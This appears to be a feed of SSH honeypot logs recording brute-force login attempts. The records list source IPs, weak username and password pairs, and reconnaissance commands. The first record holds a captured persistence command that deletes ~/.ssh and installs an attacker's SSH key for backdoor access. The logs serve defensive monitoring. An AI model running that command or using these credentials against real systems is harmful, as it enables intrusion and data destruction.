Credential acceptance event recorded. Target authentication: root / Change_Me
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "754dfc427b2c",
"src_ip": "182.43.235.218",
"start_time": "2026-10-01T19:47:33.040172Z",
"end_time": "2026-10-01T19:47:38.972677Z",
"duration": "5.9",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Change_Me"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "85705dd79611",
"src_ip": "176.53.159.196",
"start_time": "2026-10-01T19:44:56.524541Z",
"end_time": "2026-10-01T19:44:57.784236Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / vivo12345
{
"id": "3341b5c633c8",
"src_ip": "80.94.95.118",
"start_time": "2026-10-01T19:39:54.603812Z",
"end_time": "2026-10-01T19:40:08.216870Z",
"duration": "13.6",
"version": "SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3",
"hassh": "390ffe68a68c2a2891210413e80689fa",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "vivo12345"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 930920
{
"id": "51088f2165fc",
"src_ip": "193.24.211.218",
"start_time": "2026-10-01T19:37:31.768710Z",
"end_time": "2026-10-01T19:37:33.300819Z",
"duration": "1.5",
"version": "SSH-2.0-libssh2_1.11.0",
"hassh": "14b2ddda386a4d1006108ccd231b42fc",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "930920"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (5 distinct queries). Vector identities: adarius
{
"id": "01ba578e4e68",
"src_ip": "2.57.121.112",
"start_time": "2026-10-01T19:20:17.217470Z",
"end_time": "2026-10-01T19:20:23.734849Z",
"duration": "6.5",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [
{
"user": "adarius",
"pass": "adarius"
},
{
"user": "adarius",
"pass": "adarius1"
},
{
"user": "adarius",
"pass": "adarius123"
},
{
"user": "adarius",
"pass": "adarius1234"
},
{
"user": "adarius",
"pass": "adarius12345"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "2ac4827bc875",
"src_ip": "77.238.201.122",
"start_time": "2026-10-01T19:14:52.486624Z",
"end_time": "2026-10-01T19:14:52.490145Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / mill
{
"id": "0c11eab7288e",
"src_ip": "2.57.121.25",
"start_time": "2026-10-01T19:08:38.408338Z",
"end_time": "2026-10-01T19:08:44.451402Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "mill"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "91c0df411279",
"src_ip": "62.60.130.201",
"start_time": "2026-10-01T19:07:51.399395Z",
"end_time": "2026-10-01T19:07:52.329571Z",
"duration": "0.9",
"version": "SSH-2.0-PUTTY",
"hassh": "5bd26477da5440a6187bd3f1b39a429c",
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "5feb46ddc572",
"src_ip": "192.168.0.1",
"start_time": "2026-10-01T19:06:43.958181Z",
"end_time": "2026-10-01T19:06:43.970991Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: support / support
{
"id": "50a7024454d2",
"src_ip": "176.53.159.196",
"start_time": "2026-10-01T19:02:38.433065Z",
"end_time": "2026-10-01T19:02:39.649667Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "eff4c24daffc8532c160e86e5f006e53",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "support",
"pass": "support"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Credential acceptance event recorded. Target authentication: admin / admin
{
"id": "f923166e018e",
"src_ip": "80.94.95.118",
"start_time": "2026-10-01T18:57:00.742046Z",
"end_time": "2026-10-01T18:57:04.911873Z",
"duration": "4.2",
"version": "SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3",
"hassh": "390ffe68a68c2a2891210413e80689fa",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "admin"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "a667ccb7bcd6",
"src_ip": "187.228.69.247",
"start_time": "2026-10-01T18:56:03.362960Z",
"end_time": "2026-10-01T18:56:03.366259Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "a816c18dbb9f",
"src_ip": "187.228.69.247",
"start_time": "2026-10-01T18:54:20.161217Z",
"end_time": "2026-10-01T18:54:20.164793Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: postgres / postgres
{
"id": "edb1c50b64a6",
"src_ip": "193.46.255.86",
"start_time": "2026-10-01T18:50:00.251830Z",
"end_time": "2026-10-01T18:50:06.267458Z",
"duration": "6.0",
"version": "SSH-2.0-PuTTY_Release_0.84",
"hassh": "3356ae6145fa86124298066e281ea2d9",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "postgres",
"pass": "postgres"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "e66b3d4289c6",
"src_ip": "102.64.153.153",
"start_time": "2026-10-01T18:45:32.521025Z",
"end_time": "2026-10-01T18:45:32.524442Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "a09e5b119e1d",
"src_ip": "102.64.153.153",
"start_time": "2026-10-01T18:42:29.230899Z",
"end_time": "2026-10-01T18:42:29.234169Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Credential acceptance event recorded. Target authentication: admin / 123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "79a501bbe8dd",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:17:25.822804Z",
"end_time": "2026-10-01T18:17:27.452425Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "admin",
"pass": "123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: test / test@123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "2862da548de9",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:17:21.417718Z",
"end_time": "2026-10-01T18:17:22.988746Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "test",
"pass": "test@123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / Server2026!
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "9dd8b561ba9c",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:17:17.078649Z",
"end_time": "2026-10-01T18:17:18.666189Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Server2026!"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hummingbot
{
"id": "dd1390014e0d",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:17:12.704727Z",
"end_time": "2026-10-01T18:17:14.875497Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "hummingbot",
"pass": "hummingbot"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / 123123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "35faddf7c83b",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:17:08.180105Z",
"end_time": "2026-10-01T18:17:09.394768Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "123123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: bundle
{
"id": "a34560b3ac94",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:17:03.737212Z",
"end_time": "2026-10-01T18:17:05.707259Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "bundle",
"pass": "bundle"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / AAAaaa123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "1ddfbcbe6d14",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:59.042303Z",
"end_time": "2026-10-01T18:17:00.807974Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "AAAaaa123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sxl
{
"id": "dfacba8a88ed",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:54.561838Z",
"end_time": "2026-10-01T18:16:56.789684Z",
"duration": "2.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "sxl",
"pass": "sxl1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / 159753
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "10afaa4dd92d",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:49.916119Z",
"end_time": "2026-10-01T18:16:51.198579Z",
"duration": "1.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "159753"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / abc123456
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0bb19c94cc67",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:45.314689Z",
"end_time": "2026-10-01T18:16:46.780651Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "abc123456"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: web
{
"id": "3013f0efbc33",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:41.224075Z",
"end_time": "2026-10-01T18:16:43.300826Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "web",
"pass": "1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Password1234!@
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "a81d39eb57f1",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:37.411667Z",
"end_time": "2026-10-01T18:16:38.553003Z",
"duration": "1.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Password1234!@"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: doris
{
"id": "104361558149",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:33.611281Z",
"end_time": "2026-10-01T18:16:35.564643Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "doris",
"pass": "doris"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / abcd1234
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "461308253fb8",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:29.789474Z",
"end_time": "2026-10-01T18:16:30.919744Z",
"duration": "1.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "abcd1234"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wso2
{
"id": "980bc291dc7f",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:25.990443Z",
"end_time": "2026-10-01T18:16:27.779347Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "wso2",
"pass": "wso2"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: oracle / oracle123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "539b73e5285c",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:22.227286Z",
"end_time": "2026-10-01T18:16:23.451055Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "oracle",
"pass": "oracle123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / passwd1
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "280181f402a7",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:18.290395Z",
"end_time": "2026-10-01T18:16:19.475688Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "passwd1"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: test3
{
"id": "4fffde6f907a",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:14.234932Z",
"end_time": "2026-10-01T18:16:16.198306Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "test3",
"pass": "1"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: testuser
{
"id": "dcb5e13a1ac0",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:10.283234Z",
"end_time": "2026-10-01T18:16:12.332280Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "testuser",
"pass": "testuser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: huthabuk
{
"id": "814ecfe47602",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:06.284869Z",
"end_time": "2026-10-01T18:16:08.225217Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "huthabuk",
"pass": "huthabuk"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: agent
{
"id": "e7f73702615e",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:16:02.166013Z",
"end_time": "2026-10-01T18:16:04.269560Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "agent",
"pass": "agent"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: elasticsearch
{
"id": "154f8d29b9d7",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:58.328428Z",
"end_time": "2026-10-01T18:16:00.302163Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "elasticsearch",
"pass": "elasticsearch@1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: deployer
{
"id": "1d664258396e",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:54.255084Z",
"end_time": "2026-10-01T18:15:56.235634Z",
"duration": "2.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "deployer",
"pass": "12345678"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: node / 1qaz2wsx
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c7777bfed631",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:50.382892Z",
"end_time": "2026-10-01T18:15:51.564938Z",
"duration": "1.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "node",
"pass": "1qaz2wsx"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi
{
"id": "2e3b646fd40d",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:46.494253Z",
"end_time": "2026-10-01T18:15:48.291675Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "pi",
"pass": "pi"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1
{
"id": "eeb5a99055d8",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:42.606316Z",
"end_time": "2026-10-01T18:15:44.358930Z",
"duration": "1.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user1",
"pass": "modzmodz"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1
{
"id": "763ac97cd61c",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:38.788965Z",
"end_time": "2026-10-01T18:15:40.690794Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user1",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / devops123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "947aadc24cdd",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:34.607914Z",
"end_time": "2026-10-01T18:15:36.218036Z",
"duration": "1.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "devops123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: node / node
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "5184fcef5489",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:30.659194Z",
"end_time": "2026-10-01T18:15:32.141533Z",
"duration": "1.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "node",
"pass": "node"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"COMMANDS RUN",
"SUCCESSFUL LOGIN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: adminuser
{
"id": "4432ab42c004",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:26.732723Z",
"end_time": "2026-10-01T18:15:28.675217Z",
"duration": "1.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "adminuser",
"pass": "123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: runner
{
"id": "e20e1a913570",
"src_ip": "109.160.32.43",
"start_time": "2026-10-01T18:15:22.650898Z",
"end_time": "2026-10-01T18:15:24.555096Z",
"duration": "1.9",
